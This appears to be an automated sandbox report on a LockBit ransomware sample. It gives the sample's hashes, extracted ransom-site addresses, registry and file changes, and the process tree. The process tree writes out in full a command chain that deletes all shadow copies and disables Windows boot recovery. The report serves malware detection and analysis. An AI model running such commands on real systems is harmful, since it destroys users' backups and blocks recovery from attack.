Analysis
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max time kernel
91s -
max time network
122s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
20-02-2024 05:21
Static task
static1
Behavioral task
behavioral1
Sample
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe
Resource
win10v2004-20231215-en
General
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Target
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe
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Size
959KB
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MD5
fdbe7c3713224980960af3ffe23a070f
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SHA1
b8476f41ffe13dad3b1c839b307af92a4f52c614
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SHA256
77a41f2ea91e559f5f1b0a24e0eedf28c4c74a1983641cff434be417f7ac20f7
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SHA512
bfb7deaa2823a86281d7b8dc6539e746f121ed0deed5c2b50c13683512f20d16b4ace54e7a2c553c0c4b168a94a77107c07742f3642929f6a90030d0f88ad929
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SSDEEP
24576:uLjr3s2nScu1i1tz3f++5kRzFxk7rMxNeR1R9qpdsF:Ujrc2So1Ff+B3k796K
Malware Config
Extracted
C:\Program Files\dotnet\Restore-My-Files.txt
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
https://bigblog.at
http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
https://decoding.at
Extracted
C:\Users\Admin\Desktop\LockBit_Ransomware.hta
https://decoding.at/
http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion/or
https://decoding.at
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
https://bigblog.at
Signatures
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Lockbit
Ransomware family with multiple variants released since late 2019.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid Process 284 bcdedit.exe 4556 bcdedit.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{FE027EA7-DFDF-36F6-38F4-38A6EA7D9428} = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe\"" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\Users\\Admin\\Desktop\\LockBit_Ransomware.hta" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exedescription ioc Process File opened (read-only) \??\F: 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\E0DA.tmp.bmp" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exepid Process 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Drops file in Program Files directory 64 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exedescription ioc Process File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\search-summary\js\nls\root\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\send-for-sign\js\nls\zh-cn\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\o365businessr_subtest-ppd.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\o365proplusedur_subtrial-ul-oob.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\7-zip\lang\ext.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\uss-search\js\nls\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\7-zip\lang\hi.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\vfs\fonts\private\msyhbd.ttc 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\js\nls\zh-cn\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\o365businessr_grace-ppd.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\activity-badge\js\nls\sl-si\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\signatures\js\nls\sk-sk\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\themes\dark\export.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\java\jre-1.8\lib\deploy\messages_pt_br.properties 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\powerpoint2019r_oem_perp-ul-phn.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\office16\sdxs\fa000000018\cardviewicon.png 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files\videolan\vlc\locale\th\lc_messages\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\java\jre-1.8\legal\javafx\webkit.md 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\projectpromsdnr_retail-ul-oob.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\themes\dark\s_filter-default_32.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\images\themeless\localized_images\nb-no\playstore_icon.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files\java\jdk-1.8\jre\lib\images\cursors\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\office16\sdxs\fa000000027\assets\icons\[email protected] 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\videolan\vlc\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\back-arrow-disabled.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\projectstd2019r_oem_perp-ul-phn.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files\videolan\vlc\locale\ga\lc_messages\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\visioproo365r_subtest-ppd.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\office16\personaspy\personaspy.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\7-zip\lang\ta.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations.png 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\projectstdr_oem_perp-pl.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\app\dev\nls\ru-ru\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\activity-badge\js\nls\ca-es\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\desktop-connector-files\js\nls\ca-es\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\images\themeless\es-419_get.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\sample-files\js\nls\hu-hu\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\win-scrollbar\arrow-left.png 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\add-account\js\nls\cs-cz\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\images\themeless\localized_images\zh-tw\playstore_icon.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\scan-files\images\themeless\playstore.png 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\office16\logoimages\powerpntlogo.contrast-white_scale-140.png 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\office16\logoimages\onenotelogo.contrast-white_scale-180.png 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\videolan\vlc\locale\et\lc_messages\vlc.mo 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\images\themeless\download_on_the_app_store_badge_nb_135x40.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\7-zip\lang\lij.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\tracker\trash.gif 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\desktop-connector-files\js\nls\ko-kr\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-computer-select\js\nls\pl-pl\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-files-select\js\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\images\themeless\download_on_the_app_store_badge_fr_135x40.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\sample-files\css\main-selector.css 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\task-handler\js\nls\root\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\office16\pagesize\pglbl097.xml 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\document themes 16\theme fonts\tw cen mt.xml 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-files\js\nls\es-es\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\scan-files\images\themeless\playstore\lv_get.svg 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\signatures\js\nls\sv-se\Restore-My-Files.txt 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\task-handler\js\nls\es-es\ui-strings.js 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\java\jdk-1.8\legal\javafx\libxslt.md 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe File opened for modification C:\program files\microsoft office\root\licenses16\projectstdco365r_subtest-ppd.xrm-ms 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 4156 4844 WerFault.exe 103 -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid Process 428 vssadmin.exe -
Modifies Control Panel 2 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\Desktop\WallpaperStyle = "2" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\Desktop\TileWallpaper = "0" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Modifies registry class 13 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exedescription ioc Process Key created \Registry\Machine\Software\Classes\Lockbit 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Key created \Registry\Machine\Software\Classes\Lockbit\shell\Open\Command 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Key created \Registry\Machine\Software\Classes\Lockbit\DefaultIcon 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Key created \Registry\Machine\Software\Classes\htafile\DefaultIcon 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htafile\DefaultIcon\ = "C:\\windows\\SysWow64\\580203.ico" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Key created \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000_Classes\Local Settings 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Key created \Registry\Machine\Software\Classes\.lockbit 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Lockbit\DefaultIcon\ = "C:\\windows\\SysWow64\\580203.ico" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Lockbit\ = "LockBit Class" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Lockbit\shell\Open\Command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"C:\\Users\\Admin\\Desktop\\LockBit_Ransomware.hta\"" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.lockbit\ = "LockBit" 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Key created \Registry\Machine\Software\Classes\Lockbit\shell 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Key created \Registry\Machine\Software\Classes\Lockbit\shell\Open 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Suspicious behavior: EnumeratesProcesses 44 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exepid Process 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe -
Suspicious use of AdjustPrivilegeToken 47 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exevssvc.exeWMIC.exedescription pid Process Token: SeTakeOwnershipPrivilege 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Token: SeDebugPrivilege 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe Token: SeBackupPrivilege 3708 vssvc.exe Token: SeRestorePrivilege 3708 vssvc.exe Token: SeAuditPrivilege 3708 vssvc.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemProfilePrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeProfSingleProcessPrivilege 1948 WMIC.exe Token: SeIncBasePriorityPrivilege 1948 WMIC.exe Token: SeCreatePagefilePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeDebugPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeRemoteShutdownPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: 33 1948 WMIC.exe Token: 34 1948 WMIC.exe Token: 35 1948 WMIC.exe Token: 36 1948 WMIC.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemProfilePrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeProfSingleProcessPrivilege 1948 WMIC.exe Token: SeIncBasePriorityPrivilege 1948 WMIC.exe Token: SeCreatePagefilePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeDebugPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeRemoteShutdownPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: 33 1948 WMIC.exe Token: 34 1948 WMIC.exe Token: 35 1948 WMIC.exe Token: 36 1948 WMIC.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.execmd.exedescription pid Process procid_target PID 1844 wrote to memory of 3852 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 86 PID 1844 wrote to memory of 3852 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 86 PID 3852 wrote to memory of 428 3852 cmd.exe 88 PID 3852 wrote to memory of 428 3852 cmd.exe 88 PID 3852 wrote to memory of 1948 3852 cmd.exe 91 PID 3852 wrote to memory of 1948 3852 cmd.exe 91 PID 3852 wrote to memory of 284 3852 cmd.exe 93 PID 3852 wrote to memory of 284 3852 cmd.exe 93 PID 3852 wrote to memory of 4556 3852 cmd.exe 94 PID 3852 wrote to memory of 4556 3852 cmd.exe 94 PID 1844 wrote to memory of 4844 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 103 PID 1844 wrote to memory of 4844 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 103 PID 1844 wrote to memory of 4844 1844 2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe 103 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe"C:\Users\Admin\AppData\Local\Temp\2024-02-20_fdbe7c3713224980960af3ffe23a070f_lockbit.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no2⤵
- Suspicious use of WriteProcessMemory
PID:3852 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:428
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1948
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:284
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
PID:4556
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit_Ransomware.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵PID:4844
